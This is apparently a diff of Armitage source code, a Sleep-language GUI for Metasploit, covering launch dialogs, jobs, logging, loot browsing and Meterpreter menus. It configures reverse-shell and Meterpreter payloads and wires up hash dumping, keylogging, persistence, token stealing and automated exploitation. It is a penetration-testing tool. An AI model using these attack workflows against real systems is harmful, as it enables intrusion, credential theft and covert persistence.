[$model _addEntry: %(Option => "KeepTemplateWorking", Value => "", Tooltip => "Keep the executable template functional", Hide => "0")];
[$model _addEntry: %(Option => "Iterations", Value => "3", Tooltip => "The number of encoding iterations", Hide => "0")];
[$model _addEntry: %(Option => "Encoder", Value => "x86/shikata_ga_nai", Tooltip => "The name of the encoder module to use", Hide => "0")];
}
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
local('%actions');
%actions["PAYLOAD"] = lambda(&payloadHelper, $exploit => $3, \$model);
addFileListener($table, $model, %actions);
local('$TABLE_RENDERER');
$TABLE_RENDERER = tableRenderer($table, $model);
foreach $col (@("Option", "Value")) {
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
}
$center = [new JScrollPane: $table];
$combo = select(sorta(split(',', "raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,war,multi/handler")), "multi/handler");
$button = [new JButton: "Launch"];
# setup some default options on a output type basis.
[$combo addActionListener: lambda({
local('$sel');
$sel = [$combo getSelectedItem];
if ($sel eq "vba") {
[$model setValueForKey: "Encoder", "Value", "generic/none"];
[$model setValueForKey: "EXITFUNC", "Value", "thread"];
[$model fireListeners];
}
}, \$model, \$combo)];
local('$combobox');
if ('targets' in $info) {
$combobox = targetsCombobox($info);
[$combobox addActionListener: lambda({
updatePayloads($model, $exploit, [$combobox getSelectedItem]);
}, \$model, $exploit => $3, \$combobox)];
}
[$button addActionListener: lambda({
local('$options $host $x $best');
syncTable($table);
$options = %();
# assume we have an exploit... set the appropriate target please...
if ($combobox !is $null) {
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
}
for ($x = 0; $x < [$model getRowCount]; $x++) {
if ([$model getValueAt: $x, 1] ne "") {
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
}
}
if (!isShift($1)) {
[$dialog setVisible: 0];
}
if ($visible) {
if ('SESSION' in $options) {
local('@sessions $session $console');
@sessions = split(',\s+', $options['SESSION']);
foreach $session (@sessions) {
$options['SESSION'] = $session;
launch_service($title, "$type $+ / $+ $command", copy($options), $type, $format => [$combo getSelectedItem]);
}
if ($command eq "windows/gather/smart_hashdump" || $command eq "windows/gather/hashdump") {
foreach $session (@sessions) {
$session = sessionToHost($session);
}
elog("dumped hashes on " . join(", ", @sessions));
}
else if ($command eq "windows/gather/arp_scanner") {
elog("ARP scan: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
}
else if ($command eq "multi/gather/ping_sweep") {
elog("ping sweep: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
}
else if ($command eq "windows/capture/keylog_recorder") {
foreach $session (@sessions) {
$session = sessionToHost($session) . "/ $+ $session";
}
elog("started logging keystrokes on " . join(", ", @sessions));
}
else if ($command eq "windows/manage/persistence") {
foreach $session (@sessions) {
$session = sessionToHost($session);
}
elog("ran persistence on " . join(", ", @sessions));
}
}
else if ("*/fileformat/*" iswm $command && 'FILENAME' in $options) {
local('$listener');
$listener = {
local('$temp $file $path');
foreach $temp (split("\n", $3)) {
if ($temp ismatch '... (.*?) stored at (.*)') {
($file, $path) = matched();
downloadFile($path, saveFile2());
}
}
};
if ($client is $mclient) {
$listener = $null;
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
}
else if ($type eq "exploit" && "*/browser/*" iswm $command) {
local('$listener');
$listener = lambda({
local('$temp $file $path');
foreach $temp (split("\n", $3)) {
if ($temp ismatch '...\s+Local IP:\s+(http.*)') {
elog("launched $command @ " . matched()[0]);
}
}
}, \$command);
if ($client is $mclient) {
$listener = $null;
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
}
else {
if ($type eq "auxiliary" && $command eq "gather/enum_dns") {
local('$domain $ns');
($domain, $ns) = values($options, @('DOMAIN', 'NS'));
if ($ns ne "") {
elog("launched DNS enum for $domain via $ns");
}
else {
elog("launched DNS enum for $domain");
}
}
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]);
}
}
else {
thread(lambda({
local('$r');
$r = call($client, "module.execute", $type, $command, $options);
if ("result" in $r) {
elog("started $command");
showError($r["result"]);
}
else if ("job_id" in $r) {
elog("started $command");
showError("Started service");
}
else {
showError($r);
}
}, \$type, \$command, \$options));
}
}, \$dialog, \$model, $title => $1, $type => $2, $command => $3, $visible => $4, \$combo, \$table, \$combobox)];
local('$advanced');
$advanced = addAdvanced(\$model);
local('$panel');
$panel = [new JPanel];
[$panel setLayout: [new BoxLayout: $panel, [BoxLayout Y_AXIS]]];
if ($2 eq "payload") {
[$panel add: left([new JLabel: "Output: "], $combo)];
}
else if ($combobox !is $null) {
[$panel add: left([new JLabel: "Targets: "], $combobox)];
}
if ($2 eq "exploit") {
updatePayloads($model, "$3", iff($combobox !is $null, [$combobox getSelectedItem]));
}
[$panel add: left($advanced)];
[$panel add: center($button)];
[$dialog add: $panel, [BorderLayout SOUTH]];
local('$s');
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
[$center setPreferredSize: [new Dimension: 0, 0]];
[$north setPreferredSize: [new Dimension: 480, 87]]; # from 67...
[$s resetToPreferredSizes];
[$s setOneTouchExpandable: 1];
[$dialog add: $s, [BorderLayout CENTER]];
[$button requestFocus];
[$dialog setVisible: 1];
}
sub jobs {
local('$jobs $jid $desc $info $data @r');
$jobs = call($client, "job.list");
foreach $jid => $desc ($jobs) {
$info = call($client, "job.info", $jid);
if ($info !is $null) {
$data = $info["datastore"];
if (!-ishash $data) { $data = %(); }
push(@r, %(Id => $jid, Name => $info['name'], Payload => $data['PAYLOAD'], Port => $data['LPORT'], Start => rtime($info['start_time']), Data => $data, URL => $info['uripath']));
}
}
return @r;
}
sub updateJobsTable {
local('$job');
[$model clear: 8];
foreach $job (jobs()) {
[$model addEntry: $job];
}
[$model fireListeners];
}
sub createJobsTab {
local('$table $model $refresh $kill $panel $jobsf $sorter');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = [new GenericTableModel: @("Id", "Name", "Payload", "Port", "URL", "Start"), "Id", 8];
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
[[$table getColumn: "Id"] setPreferredWidth: 125];
[[$table getColumn: "Port"] setPreferredWidth: 200];
[[$table getColumn: "Name"] setPreferredWidth: 1024];
[[$table getColumn: "Payload"] setPreferredWidth: 1024];
[[$table getColumn: "URL"] setPreferredWidth: 1024];
[[$table getColumn: "Start"] setPreferredWidth: 1024];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
[$sorter setComparator: 0, { return $1 <=> $2; }];
[$sorter setComparator: 3, { return $1 <=> $2; }];
$jobsf = lambda(&updateJobsTable, \$model);
[$jobsf];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({ thread($jobsf); }, \$jobsf)];
$kill = [new JButton: "Kill"];
[$kill addActionListener: lambda({
local('@jobs');
@jobs = [$model getSelectedValues: $table];
thread(lambda({
showError("Stopping " . size(@jobs) . " job" . iff(size(@jobs) == 1, "", "s"));
local('$jid');
foreach $jid (@jobs) {
call($client, "job.stop", $jid);
}
yield size(@jobs) * 500;
[$jobsf];
}, \@jobs, \$jobsf));
}, \$table, \$model, \$jobsf)];
[$panel add: center($refresh, $kill), [BorderLayout SOUTH]];
[$frame addTab: "Jobs", $panel, $null];
}
sub payloadHelper {
local('$compatible $payload $check');
$payload = {
return %(payload => $1, Name => $2, Target => $3, Channel => $4);
};
$check = [new JCheckBox: "Start a handler for this payload"];
$compatible = @();
push($compatible, [$payload: "windows/meterpreter/reverse_tcp", "Meterpreter", "Windows", "TCP/IP"]);
push($compatible, [$payload: "windows/meterpreter/reverse_tcp_dns", "Meterpreter", "Windows", "TCP/IP to hostname"]);
push($compatible, [$payload: "windows/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Windows", "TCP/IPv6"]);
push($compatible, [$payload: "windows/meterpreter/reverse_http", "Meterpreter", "Windows", "HTTP"]);
push($compatible, [$payload: "windows/meterpreter/reverse_https", "Meterpreter", "Windows", "HTTPS"]);
push($compatible, [$payload: "windows/shell/reverse_tcp", "Shell", "Windows", "TCP/IP"]);
push($compatible, [$payload: "windows/shell/reverse_http", "Shell", "Windows", "HTTP"]);
push($compatible, [$payload: "windows/shell/reverse_ipv6_tcp", "Shell", "Windows", "TCP/IPv6"]);
push($compatible, [$payload: "windows/shell/reverse_ipv6_http", "Shell", "Windows", "HTTP/IPv6"]);
push($compatible, [$payload: "java/meterpreter/reverse_tcp", "Meterpreter", "Java", "TCP/IP"]);
push($compatible, [$payload: "java/meterpreter/reverse_http", "Meterpreter", "Java", "HTTP"]);
push($compatible, [$payload: "java/shell/reverse_tcp", "Shell", "Java", "TCP/IP"]);
push($compatible, [$payload: "linux/meterpreter/reverse_tcp", "Meterpreter", "Linux", "TCP/IP"]);
push($compatible, [$payload: "linux/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Linux", "TCP/IPv6"]);
push($compatible, [$payload: "osx/ppc/shell/reverse_tcp", "Shell", "MacOS X (PPC)", "TCP/IP"]);
push($compatible, [$payload: "osx/x86/vforkshell/reverse_tcp", "Shell", "MacOS X (x86)", "TCP/IP"]);
push($compatible, [$payload: "generic/shell_reverse_tcp", "Shell", "UNIX (Generic)", "TCP/IP"]);
quickListDialog("Choose a payload", "Select", @("payload", "Name", "Target", "Channel"), $compatible, $width => 640, $height => 240, $after => @(left($check)), lambda({
# set the payload...
if ($1 eq "") {
return;
}
if ([$check isSelected]) {
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
[$model setValueForKey: "HANDLER", "Value", "true"];
[$model setValueForKey: "ExitOnSession", "Value", "false"];
[$model setValueForKey: "LPORT", "Value", randomPort()];
}
else {
[$model setValueForKey: "DisablePayloadHandler", "Value", "true"];
[$model setValueForKey: "HANDLER", "Value", "false"];
[$model setValueForKey: "ExitOnSession", "Value", ""];
[$model setValueForKey: "LPORT", "Value", ""];
}
if ($1 eq "windows/meterpreter/reverse_tcp" || $1 eq "windows/meterpreter/reverse_tcp_dns") {
[$model setValueForKey: "PAYLOAD", "Value", $1];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
}
else if ($1 eq "windows/meterpreter/reverse_http" || $1 eq "windows/meterpreter/reverse_https" || $1 eq "java/meterpreter/reverse_http") {
[$model setValueForKey: "PAYLOAD", "Value", $1];
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
[$model setValueForKey: "LPORT", "Value", iff([$1 endsWith: "http"], "80", "443")];
}
else {
[$model setValueForKey: "PAYLOAD", "Value", $1];
}
[$model fireListeners];
}, $callback => $4, \$model, \$check));
}
+76
View File
@@ -0,0 +1,76 @@
#
# Logging... yeap, this is very important y0.
#
import java.io.*;
global('%logs');
%logs = ohash();
setMissPolicy(%logs, {
return [new PrintStream: [new FileOutputStream: $2, 1], 1, "UTF-8"];
});
# logNow("file", "host|all", "text to log");
sub logNow {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today $stream');
$today = formatDate("yyMMdd");
mkdir(getFileProper(dataDirectory(), $today, $2));
$stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ];
[$stream println: $3];
}
}
sub logCheck {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today');
$today = formatDate("yyMMdd");
if ($2 ne "") {
mkdir(getFileProper(dataDirectory(), $today, $2));
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]];
}
}
}
# logFile("filename", "all|host", "type")
sub logFile {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today $handle $data $out');
$today = formatDate("yyMMdd");
if (-exists $1 && -canread $1) {
mkdir(getFileProper(dataDirectory(), $today, $2, $3));
# read in the file
$handle = openf($1);
$data = readb($handle, -1);
closef($handle);
# write it out.
$out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1));
$handle = openf("> $+ $out");
writeb($handle, $data);
closef($handle);
}
else {
warn("Could not find file: $1");
}
}
}
sub initLogSystem {
[$frame setScreenshotManager: {
local('$image $title');
($image, $title) = @_;
thread(lambda({
local('$file');
$title = tr($title, '0-9\W', '0-9_');
$file = [new java.io.File: getFileProper(formatDate("HH.mm.ss") . " $title $+ .png")];
[javax.imageio.ImageIO write: $image, "png", $file];
logFile([$file getAbsolutePath], "screenshots", ".");
deleteFile([$file getAbsolutePath]);
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots");
}, \$image, \$title));
}];
}
+182
View File
@@ -0,0 +1,182 @@
#
# Loot browser (not yet complete... on hold until more post/ modules have loot)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateLootModel {
thread(lambda({
[Thread yield];
local('$loots $entry');
[$model clear: 16];
$loots = call($mclient, "db.loots")["loots"];
foreach $entry ($loots) {
$entry["date"] = rtime($entry["updated_at"] / 1000L);
$entry["type"] = $entry["ltype"];
[$model addEntry: $entry];
}
[$model fireListeners];
}, \$model));
}
sub downloadLoot {
thread(lambda({
local('$dest');
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
$dest = getFileProper(dataDirectory(), $type);
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
}, \$model, \$table, \$getme, \$type));
}
sub _downloadLoot {
local('$progress $entries $index $host $location $name $type $when $loot $path');
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at', 'path')];
$progress = [new ProgressMonitor: $frame, "Download Data", "", 0, size($entries)];
foreach $index => $loot ($entries) {
($host, $location, $name, $type, $when, $path) = $loot;
[$progress setNote: $name];
# make the folder to store our downloads into
local('$handle $data $file');
if ($dtype eq "downloads") {
$file = getFileProper($dest, $host, $path, $name);
}
else {
$file = getFileProper($dest, $host, $name);
}
mkdir(getFileParent($file));
# dump the file contents there...
$data = getFileContent($location);
$handle = openf("> $+ $file");
writeb($handle, $data);
closef($handle);
[$progress setProgress: $index + 1];
}
[$progress close];
showError("File(s) saved to:\n $+ $dest");
[gotoFile([new java.io.File: $dest])];
}
sub showLoot {
thread(lambda(&_showLoot, \$model, \$table, \$getme));
}
sub _postLoot {
local('$host $location $name $type $when');
($host, $location, $name, $type, $when) = $1;
[$2 append: "\c9
#
# $host $+ : $name
#\n"];
if ("*binary*" iswm $type) {
[$2 append: "\c4This is a binary file\n"];
}
else {
[$2 append: getFileContent($location)];
}
}
sub _showLoot {
local('$loot $entries $dialog $display $refresh');
$dialog = [new JPanel];
[$dialog setLayout: [new BorderLayout]];
$display = [new console.Display: $preferences];
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at')];
foreach $loot ($entries) {
_postLoot($loot, $display);
yield 10;
}
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
local('$r');
$r = [[$display console] getVisibleRect];
[$display setText: ""];
thread(lambda({
local('$loot');
foreach $loot ($entries) {
_postLoot($loot, $display);
yield 10;
}
dispatchEvent(lambda({
[[$display console] scrollRectToVisible: $r];
}, \$display, \$r));
}, \$entries, \$display, \$r));
}, \$entries, \$display)];
[$dialog add: $display, [BorderLayout CENTER]];
[[$display console] scrollRectToVisible: [new Rectangle: 0, 0, 0, 0]];
[$dialog add: center($refresh), [BorderLayout SOUTH]];
[$frame addTab: "View", $dialog, $null, $null];
}
sub createLootBrowser {
local('$table $model $panel $refresh $view $sorter $host $sync');
$model = [new GenericTableModel: @("host", "type", "info", "date"), "path", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$sorter setComparator: 0, &compareHosts];
[$sorter setComparator: 3, {
return convertDate($1) <=> convertDate($2);
}];
[$table setRowSorter: $sorter];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$view = [new JButton: "View"];
addMouseListener($table, lambda({
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
showLoot(\$model, \$table, $getme => "path");
}
}, \$model, \$table));
$sync = [new JButton: "Sync Files"];
[$sync addActionListener: lambda({
downloadLoot(\$model, \$table, $getme => "path", $type => "loots");
}, \$model, \$table)];
[$view addActionListener: lambda({
showLoot(\$model, \$table, $getme => "path");
}, \$model, \$table)];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
updateLootModel(\$model);
}, \$model)];
updateLootModel(\$model);
if ($client is $mclient) {
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
}
else {
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
}
[$frame addTab: "Loot", $panel, $null];
}
+263
View File
@@ -0,0 +1,263 @@
import msf.*;
import java.awt.*;
import java.io.*;
import java.net.*;
import javax.swing.*;
import javax.imageio.*;
import ui.*;
sub host_selected_items {
local('$sid $session $i $s $h $o');
host_attack_items($1, $2);
setupMenu($1, "host_top", $2);
if ($2[0] in %hosts && 'sessions' in %hosts[$2[0]]) {
foreach $sid => $session (%hosts[$2[0]]['sessions']) {
if ($session["type"] eq "meterpreter") {
$i = menu($1, "Meterpreter $sid", $sid);
showMeterpreterMenu($i, \$session, \$sid);
}
else if ($session["type"] eq "shell") {
$i = menu($1, "Shell $sid", $sid);
showShellMenu($i, \$session, \$sid);
}
}
}
item($1, "Services", 'v', lambda({ createServiceBrowser($hosts) }, $hosts => $2));
item($1, "Scan", 'c', lambda({ launch_msf_scans(join(", ", $hosts)); }, $hosts => $2));
setupMenu($1, "host_bottom", $2);
separator($1);
$h = menu($1, "Host", 'H');
$o = menu($h, "Operating System", 'O');
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));
item($o, "NetBSD", 'N', setHostValueFunction($2, "os_name", "NetBSD"));
item($o, "Mac OS X", 'M', setHostValueFunction($2, "os_name", "Apple Mac OS X"));
item($o, "OpenBSD", 'O', setHostValueFunction($2, "os_name", "OpenBSD"));
item($o, "Printer", 'P', setHostValueFunction($2, "os_name", "Printer"));
item($o, "Solaris", 'S', setHostValueFunction($2, "os_name", "Solaris"));
item($o, "Unknown", 'U', setHostValueFunction($2, "os_name", ""));
item($o, "VMware", 'V', setHostValueFunction($2, "os_name", "VMware"));
$i = menu($o, "Windows", 'W');
item($i, '1. 95/98/2000', '1', setHostValueFunction($2, "os_name", "Micosoft Windows", "os_flavor", "2000"));
item($i, '2. XP/2003', '2', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "XP"));
item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista"));
item($h, "Remove Host", 'R', clearHostFunction($2));
}
sub view_items {
# make it so we can recreate this menu if necessary...
setf('&recreate_view_items', lambda({ [$parent removeAll]; view_items($parent); }, $parent => $1));
item($1, 'Console', 'C', { thread(&createConsoleTab); });
if ($mclient !is $client && $mclient !is $null) {
item($1, 'Event Log', 'E', &createEventLogTab);
}
setupMenu($1, "view_top", @());
separator($1);
item($1, 'Credentials', 'r', { thread(&createCredentialsTab); });
item($1, 'Downloads', 'D', { thread(&createDownloadBrowser); });
item($1, 'Jobs', 'J', { thread(&createJobsTab); });
item($1, 'Loot', 'L', { thread(&createLootBrowser) });
setupMenu($1, "view_middle", @());
separator($1);
local('$t');
$t = menu($1, 'Reporting', 'R');
item($t, 'Activity Logs', 'A', gotoFile([new File: dataDirectory()]));
item($t, 'Export Data', 'E', {
thread(&generateArtifacts);
});
setupMenu($1, "view_bottom", @());
}
sub armitage_items {
local('$m');
item($1, 'Preferences', 'P', &createPreferencesTab);
separator($1);
dynmenu($1, 'Set Target View', 'S', {
local('$t1 $t2');
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
$t1 = 'Graph View *';
$t2 = 'Table View';
}
else {
$t1 = 'Graph View';
$t2 = 'Table View *';
}
item($1, $t1, 'G', {
[$preferences setProperty: "armitage.string.target_view", "graph"];
createDashboard();
savePreferences();
});
item($1, $t2, 'T', {
[$preferences setProperty: "armitage.string.target_view", "table"];
createDashboard();
savePreferences();
});
});
dynmenu($1, 'Set Exploit Rank', 'E', {
local('$f @ranks $rank');
$f = {
[$preferences setProperty: "armitage.required_exploit_rank.string", $rank];
savePreferences();
showError("Updated minimum exploit rank.");
};
@ranks = @("Excellent", "Great", "Good", "Normal", "Poor");
foreach $rank (@ranks) {
if ([$preferences getProperty: "armitage.required_exploit_rank.string", "great"] eq lc($rank)) {
item($1, "$rank *", charAt($rank, 0), lambda($f, $rank => lc($rank)));
}
else {
item($1, $rank, charAt($rank, 0), lambda($f, $rank => lc($rank)));
}
}
});
setupMenu($1, "main_top", @());
separator($1);
item($1, 'SOCKS Proxy...', 'r', &manage_proxy_server);
$m = menu($1, 'Listeners', 'L');
item($m, 'Bind (connect to)', 'B', &connect_for_shellz);
item($m, 'Reverse (wait for)', 'R', &listen_for_shellz);
setupMenu($1, "main_middle", @());
separator($1);
item($1, 'Exit', 'x', {
if ($msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
[System exit: 0];
});
}
sub main_attack_items {
local('$k');
item($1, "Find Attacks", 'A', {
thread({
findAttacks("p", min_rank());
});
});
item($1, "Hail Mary", 'H', {
thread({
smarter_autopwn("p", min_rank());
});
});
setupMenu($1, "attacks", @());
}
sub gotoURL {
return lambda({
[[Desktop getDesktop] browse: $url];
}, $url => [[new URL: $1] toURI]);
}
sub help_items {
item($1, "Homepage", 'H', gotoURL("http://www.fastandeasyhacking.com/"));
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
item($1, "Issue Tracker", 'I', gotoURL("http://code.google.com/p/armitage/issues/list"));
item($1, "User Survey", 'U', gotoURL("https://docs.google.com/spreadsheet/viewform?formkey=dEdSNGdJY2Z1LVloWXBnX2o4SkdGZHc6MQ"));
setupMenu($1, "help", @());
separator($1);
item($1, "About", 'A', {
local('$dialog $handle $label');
$dialog = dialog("About", 320, 200);
[$dialog setLayout: [new BorderLayout]];
$label = [new JLabel: [new ImageIcon: [ImageIO read: resource("resources/armitage-logo.gif")]]];
[$label setBackground: [Color black]];
[$label setForeground: [Color gray]];
[$label setOpaque: 1];
$handle = [SleepUtils getIOHandle: resource("resources/about.html"), $null];
[$label setText: readb($handle, -1)];
closef($handle);
[$dialog add: $label, [BorderLayout CENTER]];
[$dialog pack];
[$dialog setLocationRelativeTo: $null];
[$dialog setVisible: 1];
});
}
sub init_menus {
local('$top');
$top = [$1 getJMenuBar];
dynmenu($top, "$TITLE", charAt($TITLE, 0), &armitage_items);
dynmenu($top, "View", 'V', &view_items);
dynmenu($top, "Hosts", 'H', &host_items);
dynmenu($top, "Attacks", 'A', &main_attack_items);
dynmenu($top, "Workspaces", 'W', &client_workspace_items);
dynmenu($top, "Help", 'H', &help_items);
# setup some global keyboard shortcuts...
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
[$frame bindKey: "Ctrl+O", { thread(&createPreferencesTab); }];
[$frame bindKey: "Ctrl+T", { [$frame snapActiveTab]; }];
[$frame bindKey: "Ctrl+Left", { [$frame previousTab]; }];
[$frame bindKey: "Ctrl+Right", { [$frame nextTab]; }];
setupWorkspaceShortcuts(workspaces());
cmd_safe("show exploits", {
local('$line $os $type $id $rank $name $k $date $exploit');
foreach $line (split("\n", $3)) {
local('@ranks');
@ranks = @('normal', 'good', 'great', 'excellent');
while (size(@ranks) > 0 && @ranks[0] ne min_rank()) {
@ranks = sublist(@ranks, 1);
}
if ($line ismatch '\s+((.*?)\/.*?\/.*?)\s+(\d\d\d\d-\d\d-\d\d)\s+(' . join('|', @ranks) . ')\s+(.*?)') {
($exploit, $os, $date, $rank, $name) = matched();
%exploits[$exploit] = %(
name => $name,
os => $os,
date => parseDate('yyyy-MM-dd', $date),
rank => $rank,
rankScore => rankScore($rank)
);
}
}
warn("Remote Exploits Synced");
});
}
+361
View File
@@ -0,0 +1,361 @@
#
# this code maintains the client threads (one per meterpreter session) and
# the data structures for each meterpreter session.
#
import armitage.*;
import console.*;
import msf.*;
import javax.swing.*;
global('%sessions %handlers $handler');
sub session {
if ($1 !in %sessions && $mclient !is $null) {
%sessions[$1] = [new MeterpreterSession: $client, $1, iff($client !is $mclient)];
[%sessions[$1] addListener: lambda(&parseMeterpreter)];
}
return %sessions[$1];
}
sub oneTimeShow {
%handlers[$1] = lambda({
if ($0 eq "begin") {
showError($2);
%handlers[$command] = $null;
}
}, $command => $1);
}
# m_cmd("session", "command here")
sub m_cmd {
if ($mclient is $null) {
warn("Dropping: " . @_ . " - collab check not complete!");
return;
}
local('$command $handler');
$command = split('\s+', [$2 trim])[0];
$handler = %handlers[$command];
if ($handler !is $null) {
[$handler execute: $1, [$2 trim]];
}
else {
$handler = {};
}
[session($1) addCommand: $handler, "$2 $+ \n"];
}
sub parseMeterpreter {
local('@temp $command $line $sid $token $response $data $command');
# called with: sid, token, response
($sid, $token, $response) = @_;
if ($token isa ^MeterpreterClient) {
return;
}
$response = convertAll($3);
$data = $response['data'];
if ("*uploaded*:*->*" iswm $data) {
# this is a hack to force the file browser to refresh when a file is uploaded
m_cmd($sid, "ls");
}
else if ("[-]*Unknown command: *" iswm $data) {
%handlers["list_tokens"] = $null;
%handlers["getuid"] = $null;
m_cmd($sid, "load stdapi");
m_cmd($sid, "load priv");
showError("Loading stdapi. Try command again");
return;
}
$handler = $token;
if ($handler !is $null && $0 eq "commandComplete") {
local('$h');
$h = $handler;
[$h begin: $1, $data];
@temp = split("\n", $data);
foreach $line (@temp) {
[$h update: $1, $line];
}
[$h end: $1, $data];
}
else if ($handler !is $null && $0 eq "commandTimeout") {
[$handler timeout: $1, $data];
}
}
sub interpretMeterpreterCommand {
if ([$1 getActionCommand] eq "shell") {
createShellTab($sid);
}
else if ([$1 getActionCommand] eq "screenshot") {
[createScreenshotViewer($sid)];
}
else if ([$1 getActionCommand] eq "webcam_snap") {
[createWebcamViewer($sid)];
}
}
#
# this code creates and managers a meterpreter tab.
#
sub createMeterpreterTab {
local('$session $result $thread $console $old');
$session = session($1);
# set up a meterpreter console window
$console = [new Console: $preferences];
setupConsoleStyle($console);
logCheck($console, sessionToHost($1), "meterpreter_ $+ $1");
[$console setPopupMenu: lambda(&meterpreterPopup, $session => sessionData($1), $sid => $1)];
# tab completion for Meterpreter... :D
[new TabCompletion: $console, $client, $1, "session.meterpreter_tabs"];
# set up a listener to read input from the console and dump output back to it.
if ("*Windows*" !iswm sessionToOS($1) || ($REMOTE && $mclient is $client)) {
[new MeterpreterClient: $console, $session, $null];
}
else {
[new MeterpreterClient: $console, $session, newInstance(^java.awt.event.ActionListener, lambda(&interpretMeterpreterCommand, $sid => $1))];
}
[$frame addTab: "Meterpreter $1", $console, $null, "Meterpreter " . sessionToHost($1)];
}
sub meterpreterPopup {
local('$popup');
$popup = [new JPopupMenu];
showMeterpreterMenu($popup, \$session, \$sid);
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
}
sub showMeterpreterMenu {
local('$j $platform');
$platform = lc($session['platform']);
setupMenu($1, "meterpreter_top", @($sid));
if ("*win*" iswm $platform) {
$j = menu($1, "Access", 'A');
item($j, "Migrate Now!", 'M', lambda({
oneTimeShow("run");
m_cmd($sid, "run migrate -f");
}, $sid => "$sid"));
item($j, "Escalate Privileges", 'E', lambda({
showPostModules($sid, "*escalate*");
}, $sid => "$sid"));
item($j, "Steal Token" , "S", lambda({
m_cmd($sid, "load incognito");
stealToken($sid);
}, $sid => "$sid"));
local('$h');
$h = menu($j, "Dump Hashes", "D");
item($h, "lsass method", "l", lambda({
m_cmd($sid, "hashdump");
}, $sid => "$sid"));
item($h, "registry method", "r", lambda({
thread(lambda({
launch_dialog("Dump Hashes", "post", "windows/gather/smart_hashdump", 1, $null, %(SESSION => $sid, GETSYSTEM => "1"));
}, \$sid));
}, $sid => "$sid"));
item($j, "Persist", 'P', lambda({
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
}, $sid => "$sid"));
item($j, "Pass Session", 'S', lambda({
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
}, $sid => "$sid"));
}
$j = menu($1, "Interact", 'I');
if ("*win*" iswm $platform || sessionToOS($sid) eq "Microsoft Windows") {
item($j, "Command Shell", 'C', lambda({ createShellTab($sid); }, $sid => "$sid"));
}
else {
#item($j, "Command Shell", 'C', lambda({ createCommandTab($sid, "/bin/bash"); }, $sid => "$sid"));
}
item($j, "Meterpreter Shell", 'M', lambda({ createMeterpreterTab($sid); }, $sid => "$sid"));
if ("*win*" iswm $platform) {
item($j, "Desktop (VNC)", 'D', lambda({
local('$display');
$display = rand(9) . rand(9);
%handlers["run"] = lambda({
if ($0 eq "begin") {
local('$a');
